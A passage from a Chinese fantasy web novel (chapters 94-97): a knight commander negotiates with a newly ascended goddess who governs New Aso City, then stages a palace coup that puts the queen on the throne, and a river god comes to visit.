这其实是不对的。 骑士团创建于名为“国家”的基石之上，直接听从掌权者的调遣，对掌权者负责，也仅仅是负责而已。 确切的说，官方骑士团和丹茂国王是纯粹的上下级关系，前者存在的意义一直在于守护整个国家。尤其当国王无能，或理智被欲/望吞没时，骑士团有责任也有义务出言提醒，甚至是带头制止。 所以一直以来，路尔乔娜和她所在的家族效忠的也仅仅是这个国家和王座，即便现在奥菲三世暴毙，骑士团最先要做的是立刻推选出继任者，而不是为奥菲三世报仇。 这话简直比寒冬的冷风还要尖锐刺骨，瞬间让奥菲三世那滚烫的头脑冷静下来，面色也变得煞白。 是的，这是丹茂王国的骑士团，而非他奥菲三世的私人骑兵。 可恶。 见奥菲三世似乎冷静了一点，路尔乔娜也没有继续咄咄逼人，而是重新回到最初的话题上，“陛下，现在看来，威廉一行人要么已经背叛，要么全军覆没，甚至已然阵亡，不然没有可能一点消息都传不出来。” 骑士团内部有特殊的联络方式，那是一种珍贵的炼金道具，可以无视空间进行简短的交流。 按照约定，如果一切进展顺利，最迟前天威廉就该向自己汇报了。 奥菲三世听见了，却没有说话。 他还是蜷缩在王座之上，微微垂着头，身形似乎瞬间萎缩了一大圈。他整张面庞都淹没在阴影之中，看不清楚表情。 奥菲三世从不怀疑威廉的信仰，哪怕不忠于自己，也绝不会轻易背叛国家。 可如果是这样的话，集体被俘、阵亡的可能性就直线飙升。 这是奥菲三世无论如何都不愿意接受的。 威廉好歹也是排名第七的骑士，况且同行的共有二十名骑士，突然同时音讯全无……显得整个骑士团都如此脆弱，不堪一击！ 想到这里，奥菲三世忍不住叹了口气，今天第一次主动问起路尔乔娜的意见，“你觉得呢？” 他想不明白为什么事情会变成这样，拥有领地的贵族向上缴纳赋税难道不是应该的吗？尤其不明白曾经平平无奇的贵族少女怎么就成神了！直接让一切都变得复杂起来。 眼下分明正是春日，但可怕的颓然却在迅速蔓延。 对此，路尔乔娜显然早有准备，立刻接上，“最好的解决办法就是设法跟克劳德沟通，尽量答应她的要求，让她成为丹茂王国的守护神，与您双头并治……” 如果成功，那么克劳德至少在明面上将不会继续与丹茂王国作对，新阿索城割让与否也就没那么重要了，问题将不再是问题。 这样即可以保持国土完整，保住奥菲三世的颜面，又能进一步将这位新晋神明与丹茂王国捆绑在一起，增强国家实力，简直是一举多得的好事。 但路尔乔娜没有继续说下去。 因为考虑到前期的操作和前几次对方的反应，对方同意的可能性不是很高。 想到这里，路尔乔娜忍不住替奥菲三世惋惜。 不得不说一切都太巧了。 如果那个女孩儿没有延迟觉醒魔法天赋，或许现在早就成了王国的首席魔法师； 如果对方没有得到精灵族的青睐，或许现在早已化为莽荒之地的一具白骨； 如果对方没有那样坚强的意志，或许现在的阿索城还是一片废墟…… 但没有如果。 不等路尔乔娜说完，奥菲三世就咬牙切齿地说不。 明明他才是丹茂王国的主宰，一个本该一无所有的小姑娘，凭什么跟自己谈判？ 这太耻辱了。 路尔乔娜完全看穿了他薄弱且摇摇欲坠的自尊心，并毫不留情地捅上新的一刀，“陛下，请原谅我的直白，只要实情扩散出去，丹茂王国的尊严一定消失的比现在更干净。而只要结局是好的，经过如何，没人会在意的。” 到了这一步，您还有什么选择的余地吗？ 面子、尊严，都是胜者才有资格讨论的东西，再这么下去，您的王位都要不保了。 别无选择的奥菲三世同意了路尔乔娜的提议。 离开王宫后，路尔乔娜招来两位副团长，“我将亲自前往新阿索城。” 两位副团长集体反对，“小小一座乡下城市而已，哪里需要尊贵的骑士团长亲自出面呢？” “而且如果威廉他们真的遇到危险，您亲自去风险太大，不如派其他骑士前往。” “不，从新神诞生的那一天开始，新阿索城就不再是普通的城市，你们也需要尽快接受这个事实。”路尔乔娜的态度却异常坚定。 至于改派其他人去，完全没有必要。 如果克劳德真的能够在无声无息间拿下20名正式骑士，那么就说明她的个人实力已经达到了相当恐怖的地步，再派第五位也好，第四位也好，任何一名骑士队长出行都有不能顺利成功的风险，一旦失败，损失更惨重，也更丢脸。 而如果想要凭借人数取胜，未免有使谈判彻底陷入僵局的可能。 倒不如路尔乔娜亲自去胜算最高，一举拿下谈判的空间也大。 至于都城内，还有骑士团的大部分力量在，易守难攻，倒不怎么担心。 现在的丹麦王国已经丢不起更多脸了，要么什么都不做，要么一击即中，没有第三种选择。 差不多同一时间，云漠快要忙死了。 随着几次义诊，她成神的消息迅速扩散，无数人蜂拥而至，希望能够获得进入新阿索城的机会。 这些人中不仅有生活窘迫的游民，甚至还有很多曾经对新阿索城并不怎么感兴趣的中小型部族。 神明对普通人的吸引力和诱惑远超云漠的想象。 如果在以前，云漠一定会坚持宁缺毋滥，仔细甄别，但现在…… 神识就像一台大型扫描机、测谎仪，普通人的内心想法在她面前无处遁形，她甚至不用露面，只是像平时一样坐在城堡书房内那宽大的座椅内，就能迅速完成甄别。 雾气一样扩散的神识笼罩了整座新阿索城，甚至城外几里地也在她的完全监控之下。 上到掠过的飞鸟，下到泥土中蠕动的虫鼠，统统逃不过。 人口多了，问题自然就多，云漠大刀阔斧进行了改革，并趁机制定了一系列政策和规矩，要求所有人都必须遵守。 然后她根据大家的表现，严惩违法者，嘉奖守法者，进一步明确了自己的态度。 同时，云漠督促玛雅姨妈和霍莉加紧筛选人才，尤其是在种植和药剂、医疗方面比较有经验和天赋的居民。 其他人才都好说，完全可以交给玛雅姨妈和霍莉慢慢培养，但唯独这几方面，一旦云漠离开，都将变成黑夜中的瞎子，无处摸索。 坏消息是，魔法天赋如传说中一般罕见，前后不过半个月，新阿索城内外居民近万，却没有一个拥有任何一方面的魔法元素亲和。 好消息是，人口多了，某些一度被淹没的才能得以逐渐显现：云漠发现了若干擅长种植和辨识草药的人。 她将这些人本人和所在的家族里里外外筛选了几遍，确定没有问题后直接带在身边，亲自教授，毫无保留地传授各种知识。 普通人对神明都有种天生的敬畏，大家面对“克劳德领主”和“克劳德神明”的态度完全不同，前者只能算敬畏，后者就是发自内心的崇拜。 所有人都诚惶诚恐，无比珍惜这来之不易的机会，生怕令神明失望。 “嗯，做得不错，不过这种草药加的有点晚，可能会……”正在查看学生们作业的云漠忽然一顿，抬头向远处看去。 “哦，看来是来了一位了不得的客人……”她感觉到距离外城墙大约三里的位置，出现了一位陌生的武者。 路尔乔娜对此一无所知，事实上，她正惊讶于“众神遗弃之所”的巨大变化。 她是土生土长的王都人，但以前执行任务时曾数次远远路过阿索城，记得当时确实如传言一般荒芜，可能走几天都看不见人烟，处处弥漫着颓唐。 但现在？ 那些从四面八方涌来的人群是真实的吗？ 甚至因为排队人数太多，许多人不得不在城外露宿，建立起临时住所，不少精明的生灵还趁机做起买卖，譬如矮人、地精。 但它们似乎都严格遵循某种规则，显示出奇异的平和。 原本拥堵了道路的草木被清理出来，用做燃料和建材，一座座崭新的建筑拔地而起，空气中弥漫着熟悉又陌生的食物香气，源源不断的叫卖声、说笑声甚至是争吵声从各个方向传来…… 一切都是那样陌生。 乔装打扮的路尔乔娜学着其他人的样子，走到路边小摊上买包子，据说这种食物就是那位新神发明的，非常受欢迎，周边许多国家的贵族也纷纷效仿，在里面填充自己喜欢的奶油馅儿。 不过民间还是菜肉馅儿最具人气。 摊主却看着她递出的银币十分为难，“尊贵的客人，只需要一枚铜币就够了。” 一枚银币可以换足足一千枚铜币，他得卖大半年包子才赚得到，根本找不开。 他见来人虽然衣着简朴，但身材高大、双眼有神，还骑着同样健壮的骏马，肯定大有来头，犹豫了下，狠狠心，一咬牙，“您拿去吃吧。” 得罪不起。 路尔乔娜看了他一眼，一言不发转身离开。 眼见失去一门生意，摊主后悔极了，不断叹气。 没想到很快他眼前就多了一只还在往下滴血的兔子，抬头一看，竟然是刚才的客人。 “我，我多给您几只包子吧！”他不再犹豫，飞快地用大树叶裹好几只热乎乎的包子递过去，快乐地接过兔子。 嘿，这兔子真肥，至少能换十多个铜币呢！ “为什么来这里？”路尔乔娜问道，“明明附近还有许多城镇和村庄。” “啊？”摊主愣了下才意识到对方在问什么，“因为这里可以活得更好呀！” 他的眼睛忽然变得明亮，似乎平白多了许多莫名其妙的希望，“神明大人只要很少的一点税，平时也不用小心伺候，对了，如果我们病了，还有药可以吃呢，有的直接不要钱，有的只要很少一点钱，这难道不好吗？” 在别的地方，那些医官都可高贵呢，根本不会管平民死活。 路尔乔娜沉默许久，看着几个洋溢着笑容的孩童在明显刚开辟出来的空地上追逐打闹，不由得低声喃喃道：“看来，还是有神明重新眷顾了这片土地。” 第95章 谈判 因为排队等待入城的人数过多，新阿索城还特意增派了巡逻人手，并给排队的人们发放号码牌，分组入内，严禁插队。 这么一来，短时间内轮不到的人就可以暂时离开，不会耽误做别的事。 路尔乔娜还注意到，巡逻队成员们大多十分年轻，粗糙的双手和黝黑的面部肌肤表明这些人大多出身低贱。 但整齐的队列中所有人都精神焕发，神色从容而自信，由内而外散发着某种令人折服的光彩。 混在人群中的路尔乔娜跟大家一起目送她们离去，听着周围人们狂热地讨论着，向往着，许多人甚至已经将进入巡逻队视为终身目标。 路尔乔娜忍不住问：“可是这么多人，真的每个人都能进去吗？” 要不是看到大家眼底的狂热，她几乎要问这些人是不是被骗了，因为路尔乔娜见过太多所谓的神明、教条，几乎都是披着信仰外衣的欺骗。 丹茂国王的人从不信神。 “当然可以！”好几个人异口同声道，甚至对路尔乔娜这种发问略有不满，干脆叫了前面几个人过来，“快给她看看你的牌子！” 来人脸上带着显而易见的骄傲，确实递过来一块号牌，并忍不住大声道：“我已经通过初步审查，两天后就可以以木匠的身份进入外城区啦！” 羡慕之声立刻此起彼伏，围观人群立刻向内靠拢，争先恐后地伸长手臂，试图摸一摸那块向往中的牌子。 当然，如果能沾一点好运气，就最妙不过啦！ 路尔乔娜对眼前的一切都感到无比陌生。 她分明身处热闹万分的人群，可那些近在咫尺的东西却像隔了一层纱，模模糊糊透着一股近乎荒诞的虚幻，令她格格不入。 王国骑士团中有人亲近平民，也有人憎恶平民，而路尔乔娜属于中立派，虽然不会刻意接近，却也深知这类人的特性： 麻木、畏缩、惶恐……卑微得像地上的泥巴。 可就在今天，就在这里，路尔乔娜几乎没看到这些熟悉的东西，取而代之的是经常在贵族脸上出现的从容和欢喜。 任何人看了这一幕都不会怀疑人们对那位新晋神明的憧憬、敬重和喜爱。 思绪翻滚的路尔乔娜眉头紧锁，尚未找到答案，忽然觉得好像有谁在看自己。 她迅速转过头去，可除了四周喧闹的人群外，没有任何可疑人物。 不，那绝不是错觉，路尔乔娜想，有人在暗处观察我。 “这位远道而来的客人，”一个小姑娘突然走上前来，笑嘻嘻冲她行了个礼，然后做了个请的手势，“大人请您进去喝茶。” 大人？ 路尔乔娜一怔，马上意识到对方说的是谁，不由得有些心惊。 路尔乔娜对自己的本能非常有信心，也确认一路走来隐藏踪迹，期间确定没有遇到过新阿索城的探子，现在距离外城还有那么远，对方竟然已经发现了自己…… 不，或许更早，或许她一直在观察。 看来威廉等人此刻的处境确实异常艰难。 跟着小姑娘往入城时，路尔乔娜不禁有些感慨，这就是神明之力吗？ 果然很厉害。 除了更干净整洁之外，新阿索城的外城设置似乎与别的地方没什么不同，路尔乔娜适应良好。 可当验明身份进入内城的瞬间，路尔乔娜的眼睛就没小过，头脑内像刮起了夏日风暴，令她不断晕眩。 啊，烤面包的店铺，裁缝铺，王都也有，而且比这里更多更大。 那，那是学校吗？ 可是新阿索城不是只有城主克劳德和她的姨妈两名贵族吗？那现在里面上课的是谁？ 平民？不不不，绝不可能！ 那里是医馆，哦，没什么大不了的，等等，医者竟然为平民看病？！而且还一点儿都不嫌弃？！ 没人觉得不对吗？ 阿苗一边带路，一边偷偷观察路尔乔娜的反应，心中逐渐被骄傲充满了。 又转过两道弯之后，看着前方的人，阿苗开心喊道：“大人！” 路尔乔娜瞬间回神，循着声音向那边望去。 虽然之前没有见过，但路尔乔娜立刻就断定对方就是自己此行的真正目标，云漠-克劳德。 她有着相当端正的面容，身材高挑，看过来的眼中盛着一丝恰到好处的浅笑，姿态相当舒展而自然，似乎只是在欢迎一个再普通不过的老朋友。 一瞬间，路尔乔娜回想起很多场景，也联想起许多值得尊敬的对手和朋友，甚至隐隐看到了精灵王的影子……是因为对方于精灵族交往过深的关系吗？ 总而言之，路尔乔娜确实从云漠-克劳德身上感受到了神性，宽广的，包容的，无边无垠的。 云漠平静地接待了路尔乔娜，一点儿都不过问对方的来意。 好在路尔乔娜也对威廉等人现在的情况绝口不提，倒是有种诡异的默契和安详。 沉默着喝了两壶热茶之后，路尔乔娜认为不能继续下去，于是直接邀请云漠出任丹茂王国的守护神，并承诺会在王都为她修建神像和神庙。 云漠没什么诚意的笑着说：“想必你来的路上已经看见了子民们为我树立的神像，神庙也在建设之中……” 言外之意，倒也不用你们锦上添花。 “而且据我所知，丹茂王国上下只推崇国王，从来没有对神明的信仰，”云并不意外从路尔乔娜的眼底看到了艰涩，因为这种对信仰的更改是很难接受的，当然，她也不指望人家接受，“我并不想成为王国上下憎恶的新对象。而且就过去发生的种种来看，我和奥菲三世并没有足以双头并治般和睦的关系吧？” 假如自己同意，或许能在短时间内收获一大批信徒，但同样也会遭遇激烈的反对。 真到了那个时候，她可不信奥菲三世会跳出来勇于承担责任，肯定会每每隐身，营造一副忍辱负重的好国王形象，顺理成章地将仇恨转移到自己这个新晋守护神的身上。 呸，这种到处埋雷的信仰和地位，她才不稀罕。 不得不说路尔乔娜是真的一心为国，面对云漠扑面而来的敌意还直言不讳，“您的心情我可以理解，但请恕我直言，一切都只是过分巧合，难道向领主、向王国纳税不是所有人的职责吗？我认为之前陛下的行为没有任何不对。” 意思是抛开神的身份不谈，您不也是新阿索城的领主吗？正如领地内的居民向您纳税一样，作为领主的您也应该向国家纳税，这没什么问题。 云漠觉得路尔乔娜这个人很有趣。 她跟死忠派威廉不同，也不像麦特那么好说服，既有着高等贵族中罕见的务实，却又有着大众贵族常见的想当然和自以为是，异常鲜活。 “其实我无需向你解释，因为即便是奥菲三世本人也早已失去了质问我的资格。”云漠有点儿失去耐心，歪着身体靠在宽大的精灵风格扶手椅里，单手托着下巴，“不过你知道当初王国给这里的种子都是发霉坏掉的吗？你又知道一个健壮的农夫在从不生病、不发生自然灾害的情况下，需要多久才能彻底开垦好一亩荒地，一年能够生产多少粮食吗？” 就算纳税合理，但就当初新阿索城那副鬼样子，依靠现在的生产力水平，至少要十年才能渐渐恢复元气，可奥菲三世呢？两年就忍不住来征税！ 早干什么去了？ 真是盘子里的肉没人吃，丢到地上的骨头都来抢…… 路尔乔娜没说话。 她从来没有接触过农活儿，确实没考虑过。 “瞧啊，你什么都不懂，”云漠大大方方打了个哈欠，眨眨眼，“我都有点儿懒得敷衍你啦。” 本就势力不对等的谈判陷入僵局，但路尔乔娜也没有离开的意思。 种子的事，她确实不知道，如果是这样的话，克劳德对丹茂王国的憎恶就很好理解了。 “我可以帮您将干这件事的人揪出来，”路尔乔娜认真地说，“直接送来新阿索城。” 她并不认为种子的事是奥菲三世授意的，说老实话，我们尊贵的国王陛下或许连开辟领地需要种子这种常识都不清楚呢。 但这个筹码显然并不足以打动年轻的神明。 云漠笑起来，却问了个跟这副表情完全不搭的问题，“你知道克劳德夫人和先生的真正死因吗？” 当初她来到这个世界时，那对可怜的夫妇便已死去，所以其实她对原身父母并没有什么感情。 但好歹借别人的身体有了一段不一样的体验，更何况一直对自己关爱有加的玛雅姨妈也是爱屋及乌，云漠觉得自己有责任帮她们讨回公道。 人的本能反应骗不了人，在云漠的神识笼罩下，路尔乔娜一瞬间的瞳孔抖动被无限放大： 她确实知道内情，至少是部分内情。 显然路尔乔娜也认识到了这个现实，所以在短暂的沉默后干脆利落地吐露实情，“依兰大公偶然听说克劳德夫人有件珍贵的炼金道具，曾提出购买，但克劳德夫人以家传为由拒绝了他。” 剩下的事就不用多说了。 哪怕早有准备，云漠也有片刻错愕，“就这样？” 就为了一件炼金道具？ 路尔乔娜点头。 “依兰大公是谁？” “奥菲三世的弟弟，最疼爱的弟弟。” 所以克劳德夫妇死得无声无息，事后哪怕所有人都知道不对劲，也无人敢提出，因为尊贵的陛下选择亲自为弟弟擦屁股：他残忍地将唯一的遗孤赶出王都，让她在绝望中死去。 路尔乔娜知道无法隐瞒真相，即便自己不说，对方也一定有办法查到。 可话一出口，奥菲三世与云漠-克劳德的矛盾就会达到巅峰，彻底没有和解的可能。 所以，路尔乔娜瞬间做了个大胆的决定，“如果骑士团帮您解决掉所有的仇人呢？” 饶是有强悍的神力支撑，云漠都愣了下，“所有的？” 也包括奥菲三世？ 路尔乔娜毫不迟疑地点头。 第96章 政变 现在云漠是真的感到惊讶了。 本以为来的是国王的说客，没想到竟然是王国的代表。 确实，截至目前为止，与云漠乃至整个克劳德家族有过节的也仅仅是以奥菲三世为首的部分贵族而已，只要将这些人剔除，不仅能彻底终结仇恨，还可以获得一位神明的好感也说不定。 一举两得，皆大欢喜。 当然，被剔除的人除外。 不得不说，这位骑士团长实在魄力非凡、胆识过人，心理素质更是一流，令人很难不心生敬佩，以及提防。 不过最关键的点在于，路尔乔娜真的能够代表王国意志吗？ 她个人的影响力和掌握的力量，足够支撑她发动一场政变吗？ 路尔乔娜看出云漠的质疑，“如果您能够……” “不，我不能。”云漠果断拒绝，声音干脆而有力。 且不说神明不可随意插手人间事，即便可以，提出除掉奥菲三世的是路尔乔娜，想要发动政变的也是她，路尔乔娜所做的一切决定都基于守卫丹茂王国的立场，一旦自己掺和就变味儿了。 而且今天是她们第一次见面，彼此缺乏足够的了解和信任，谁能保证路尔乔娜不是别有用心，想要借机达成自己的目的？ 谁家好人刚见面就合谋造反啊！ 对云漠的拒绝，路尔乔娜并不意外，所以只是短暂地惋惜了下，然后便认真思索片刻，说：“不过公主和王子还年幼，恐怕无法顺利继位，而陛下的几位血亲也不算出色。” 干掉肉体凡胎的奥菲三世和依兰大公不难，难的是如何挑选优秀的继承人，以便权柄顺利交接，让王国重现昔日荣光。 只要继承人是奥菲三世的血亲，哪怕下面的贵族和各自领主不服气，大约暂时也不会说什么。 可如果不从这里面选，就会造成一种“既然ta行，那我也行”的假象，人心浮动，丹茂王国将面临巨大的内乱，陷入空前危机，与路尔乔娜的初衷相违背，还不如维持现有格局。 “王后怎么样？”云漠突然语出惊人。 据她所知，王后同样出身名门，还跟奥菲三世沾亲带故的，血统方面绝对没问题。 而且王后为人率直，心地善良又不失机敏，可谓深得民心。 路尔乔娜愣了下，没有马上回答。 伴侣取代国王继位并非没有先例，但毕竟只是少数，又需要王后掌握的势力支持，难度也很高，之前她还真没考虑过这个选项。 如果是王后继位，确实可以弥补年龄和经验上的不足，只是…… 路尔乔娜陷入沉思。 她需要重新权衡，认真分辨得失，毕竟这件事一旦开始了，就没有中途暂停的可能。 而突发奇想提议的云漠则没有任何心理压力，甚至颇有种等着看热闹的期待。 至于王后能不能顺利继位，继位后的丹茂王国是否会动荡，又是否会与新阿索城保持友好，她统统不担心。 她好像有点儿理解那种“神明张张嘴，凡人跑断腿”的乐趣了。 神明，一种可以将平凡生物当成棋子游戏的存在。 “这是个很重大的决定，不必着急，”云漠和气地对路尔乔娜说，“在这里住几天吧，也见见你亲爱的同僚们。” 最好把剩下那些不中用的带回去扔掉，完全就是在浪费生命嘛！ 老实讲，路尔乔娜其实已经做好了威廉等人全部阵亡的准备，听到这话实在是意外之喜。 她礼貌地告退，稍后在阿苗的带领下，顺利见到了威廉等人。 四肢完好，身形瘦削，斗气涣散，但推测是药物所致，只要脱离这个环境，休养一段时间就可以恢复。 路尔乔娜的出现让俘虏们有片刻骚动，个别人泪流满面，威廉更是万分羞愧。 这种样子被团长看见…… “失败也是骑士的勋章，”路尔乔娜没有流露出丝毫怜悯或谴责，而是情绪平稳地安抚着大家的情绪，“我已与这里的主人对话过，她并没有杀死你们的打算，或许过些日子大家就能一起返回王都了。” 距离威廉等人落败到现在也不过十来天，但再次听到这样的话语，众人都有些恍惚，仿佛已经过完了一辈子一样。 威廉挣扎着坐起来，“大人，那个邪恶的女人并不好对付，您是否付出了什么代价？” 路尔乔娜微微蹙眉，“威廉，我本以为你能从失败中汲取教训，现在看来，并没有。” 败了就是败了，不甘心也没用，真正的勇者现在最应该做的是顺应局势为自己谋得生路，而不是可怜巴巴地所在这里等待救援或死亡，更不该稍有希望就过嘴瘾。 简直跟一群惨败的野狗没什么两样。 如果克劳德是我们的敌人，在敌人的地盘上辱骂绝不会有什么好下场； 如果克劳德是同盟，那么威廉愚蠢的行为极有可能导致同盟破裂。 随着路尔乔娜的话出口，威廉本就苍白的脸立刻惨白了起来。 他太清楚团长这种语气预示的结局了。 路尔乔娜不理他，锐利的目光在脏兮兮的人群上方迅速划过，“其他人呢？” 这里只有十三个。 “那些卑鄙的背叛者……”威廉刚要习惯性发泄，突然又想起刚才路尔乔娜的不快，于是立刻改口，“他们，他们并非骑士精神的坚守者，短短几天就屈服了……” 有的就为了一点吃的喝的，竟然就答应什么“劳动改造”，去帮那些贱民干活儿去了！ 有的如麦特之流，干脆就沦为克劳德的信徒！ 简直是骑士团的耻辱。 威廉说完，在场众人都很同仇敌忾地点着头，显然都对这种行为极其鄙夷，同时也为坚持到现在的自己感到骄傲。 谁知路尔乔娜却嗯了声，神色平静地反问：“那么你们为什么不去呢？” 威廉愣住了，其他俘虏也愣住了。 路尔乔娜的眼眸深邃，眼神幽静如午夜湖水，表现出十二分认真。 她是真的在好奇，好奇为什么这些人只是干巴巴地在这里等死。 “你，你在说什么啊！” “我们可是贵族，怎么可以为那些下贱人干活儿！” 众人开始激愤起来。 “如果陛下一直没有派人来呢？你们要怎么办？等死吗？”路尔乔娜叹息一声，站起身来，就这么垂着眼睛俯视着他们，“我对你们很失望，在我看来，专心等死的骑士跟尸体没什么区别。” 没人可以永远胜利，失败确实很可怕，但只为了所谓的“尊严”原地坚守，像他们这样如乞丐般有气无力，如果无人救援，跟死了有什么分别？ 堕落等待谁都会，但不当累赘，在绝境中为自己找到一线生机，才是真正的勇士。 “不可能！”威廉失控地大喊，“我们可是贵族，陛下怎么可能不管！” “所以你们真的一点儿都没想过要自救？” 贵族很稀罕？ 贵族就一定会有好结果？ 克劳德的父母也是贵族，爵位远超在场每一个人，可还不是因为一件炼金道具就被害死了？ 路尔乔娜转身离去。 实际上一直到她来，奥菲三世都没提过关于“拯救骑士团成员”半句，而是默认这二十名骑士已经死亡。 反正王都最不缺的就是贵族，没了这批刚好可以再进一批，最好是听奥菲三世自己的话，而不是路尔乔娜，更不是傻乎乎的忠于王国。 原本路尔乔娜是想跟同僚们讨论下废除奥菲三世的计划，可没想到威廉等人腐朽的程度超乎想象，所以干脆没有提。 稍后路尔乔娜又见到了以麦特为首的，几名俨然已经在外城区定居的骑士团成员，她张了张嘴，再次到了嘴边的话，又再次陷入迟疑。 这几名老下属的状态不错，甚至可以说很好，精神饱满、面色红润，眼神灼灼有光。 但……未免太有光了，以至于他们整个人都有种被什么荡涤过的清澈。 过分清澈甚至让他们看上去有点儿滑稽的愚蠢。 拉不回来了，这是路尔乔娜脑海中冒出的唯一念头。 听路尔乔娜隐晦地说起想要将奥菲三世赶下台时，麦特等人非常惊讶，但惊讶过后，竟然就迅速思考起来，并以一种与骑士身份相当不匹配的态度说：“如果是那样，或许王国真的会迎来新生。” 一点儿不反对！？ 路尔乔娜大为诧异，“你们到底在这里看到了什么，经历了什么？” “一些很不一样的东西，难道您不觉得现在的新阿索城已经无限接近您所期盼中的完美国度么？”麦特微笑起来，“您刚才说希望那位大人成为王国的守护神，不过以目前为止我们看见的一切来说，都不可能。” 新阿索城正在进行一些很新颖的事物，这里也并非没有高低贵贱之分，但那种阶级之别并不像他们所认识的任何一个王国那样坚固，很多平民都可以借助功劳收获地位和别人的尊重。 “您来的时候看见学校了吗？”麦特忽然问。 见路尔乔娜点头，他又问：“那么您觉得丹茂王国的贵族们会接受吗？” 别说那些守旧派，就连路尔乔娜自己都有点不太确定。 奥菲三世就更不可能接受了。 但新任君主呢？ “我们封闭太久了，也失去太多了，实在需要全新的力量指引……”麦特动情地说，几名同伴也流露出羞惭之色。 路尔乔娜突然起了一身鸡皮疙瘩。 她觉得现在的麦特很可怕，并非武技、斗气增长的那种可怕，而是某种奇妙的无形感染力正在悄无声息地渗入灵魂深处，试图更改她的想法，将她也染成麦特的颜色。 路尔乔娜是一个人悄悄来的，也是一个人悄悄走的，没有带走一名同僚。 懦夫也好，信徒也罢，他们都已经不适合王都了。 路尔乔娜离开后，新阿索城陷入了很长一段时间的安静，方方面面都开始飞速发展，整座城市都像一台开足马力的巨型机械，昼夜不息。 同年九月，丹茂王都传来消息，依兰大公醉后胡闹，不慎用尖利的银烛台刺中奥菲三世，奥菲三世因流血过多而去世，王后继位，称戈雅一世。 戈雅一世悲痛欲绝，发誓要为丈夫讨回公道，于是命令以路尔乔娜为首的骑士团出动，逮捕依兰大公。 但依兰大公非常狂傲，声称一切都是误会和阴谋，并暴力反抗，拒绝承认戈雅一世的地位。 为守护王都人民，尽快缉拿凶犯，王国骑士团不得不动用强硬手段，结果依兰大公被启动后的铭文道具武器乱流击中，不幸身亡。 因依兰大公犯下大错，根据王国法律，他的妻子和后代将被大幅度降爵，需要立刻更换住处、上交过分奢华的物品。 路尔乔娜奉命带队前去清理，却又不小心发现了依兰大公和部分贵族暗中密谋杀害奥菲三世的细节…… 等一切都名正言顺的进行下去，最终尘埃落定，王都少了一大批老牌贵族，多了一批新贵和一位新王，女王。 戈雅一世立刻颁布文书，声称早在种族混战时期，阿索城就已经覆灭，并脱离丹茂王国实际控制近百年，早已是事实上的独立。 而现在的新阿索城几乎完全由城主云漠-克劳德一手创建，与过去毫无关联，所以也从一开始就处于独立地位，不必收丹茂王国管辖，也不必向丹茂王国纳税。 得知一切的云漠不禁啧啧称奇，果然王后戈雅也非泛泛之辈，只怕一切早有准备呀。 第97章 河神 公告发布之后，国王戈雅还立刻向周边几个国家、独立部族派出使者，重新修订外交关系，其中就包括新阿索城。 虽然素未谋面，但几次行动就可以看出，相对虚无缥缈的颜面，戈雅显然更务实，甚至冒着被外界嘲笑的风险补上了给新神的贺礼，并发出缔结友好关系的邀请。 云漠喜欢跟这类人打交道，干脆利落地应下，并进一步细化了合作条款。 待使者返程时，作为回报，她也送上了给新国王的登基贺礼。 云漠不想把新阿索城打造成完全的宗教信仰城市。 教条的力量是可怕的，一座完全建立在信仰之上的城市更是危险的，某些东西一旦扩张便会如野火蔓延，后期很容易出事。 而一座城市要发展，单靠甜品产业也不成，必须有额外的支柱型产业和人才梯队建设。 幸运的是，这座城池位于交通要塞，地理位置得天独厚，物产资源丰富，曾经的辉煌便是建立在发达的交通和物流中转上的，现在完全可以复刻这一点。 要达成这个目标，搞好与周边的关系和基础设施建设必不可少。 至于人才么，人才像流水，会随着经济流动，只要这里真的发展起来，还愁没有人才么？ 等到了那个时候，云漠就真的解脱了，可以随心所欲云游四海，而不必担心没有源源不断的信仰之力补充。 很快，新阿索城便开始了进一步扩张和深入建设，重点是修路和建造专为外来人员服务的客栈、饭馆等。 在普通人看来艰难无比的建设，对木系魔法师而言不过是动动手指的事，几乎是肉眼可见的速度，一块块荒地被从深层翻卷而起，一排排整齐的房屋“凭空出现”…… 剩下的路面夯实和建筑内部细化就很简单了。 也就是这个时候，频频出现在施工现场的云漠发现了一位特殊的客人。 对方有着极其清俊的面庞，清澈如雪水般的眼眸中充满了好奇，恍若一头误入人类城市的野鹿，始终徘徊在城市边缘的河边，再也不肯深入一步。 云漠甚至分不清对方是男是女，但那中性的美丽相当客观，令人完全无法忽略。 她习惯性放出神识，愕然发现对方竟然没有呼吸和心跳，甚至对方第一时间捕捉到了自己神识，还试探性地……回应了下？！ 回应了！ 哇哦，云漠恍然大悟，这是一位神明！ 她还是第一次与神明面对面呢，简直太不可思议了。 云漠立刻走上前去，“您好，日安。” 未知的神明眼睛亮闪闪的，沁满了显而易见的快乐，“日安。” 但仍然不从河边丛林里走出来。 “请问您找我有什么事吗？”云漠好奇地问。 陌生的神明脸上浮现出一丝羞赧和焦急，小声说：“未经允许，我不可以随便踏入其他神明的领地。” 云漠有点儿忍俊不禁，您还怪守规矩的。 她下意识开始回忆，发现自己凝聚神格后一直在阿索城的一亩三分地里折腾，应该没有无意中得罪某位神明，顿时放下心来。 对方似乎没有恶意，但谨慎期间，云漠还是先问了一句，“方便问一下您的司职吗，或者您是哪里的神明呢？” 万一引狼入室就不美了，毕竟在神明之中，我还只是个幼崽呢。 没想到对方立刻幻影般消散，几乎是瞬间出现在斜后方的冷水河中央，“我是冷水河的河神。” 祂的声音也如那冷水河般清冽。 在祂现身于冷水河的霎那，原本奔腾呼啸的河水都平静下来，温柔地托起浪花，围绕在祂的身边。 这下云漠没有任何怀疑了。 原来是冷水河孕育出的精灵，那么不主动选择性别也不奇怪。 说起来，自己能够侥幸走到今天，也借了冷水河不少光呢。 云漠立刻热情地邀请了冷水河神到城堡内做客，并亲手烹煮了可口的点心和茶水，“不知合不合你的胃口。” 冷水河神歉意道：“真抱歉，我无法进食人类的食物。” “啊，应该是我抱歉才对，”云漠有些不好意思，“那有没有什么是我可以招待的呢？” 她还是第一次接待非人类晋升的神明呢，确实经验不足。 好在这位客人非常随和，并未提出要求，只是说明来意，“我注意到最近你在带领附近的人类建设城镇，还特意约束大家不胡乱砍伐、挖掘，也不许他们乱扔垃圾……” 说到这里，祂又清洌洌地笑起来，“其实我很早就注意到你了，你是个很不一样的人类，只不过那个时候的你无法与我对话。” 祂似乎有些内向，但内心却充满了快乐和对人类的善意，云漠认真回应几次后，就渐渐变得健谈起来。 冷水河神是一位非常古老的神明，古老到祂自己都不知道自己究竟存在了多久。 “当时周围的神明并不多，我熟悉的只有生命女神、自然女神和兽神，但生命女神和自然女神的信徒很多，也很喜欢四处游走，我并不经常见到祂们。 后来不知道为什么，自然女神和兽神发生了很多次争吵，关系变得非常恶劣……” 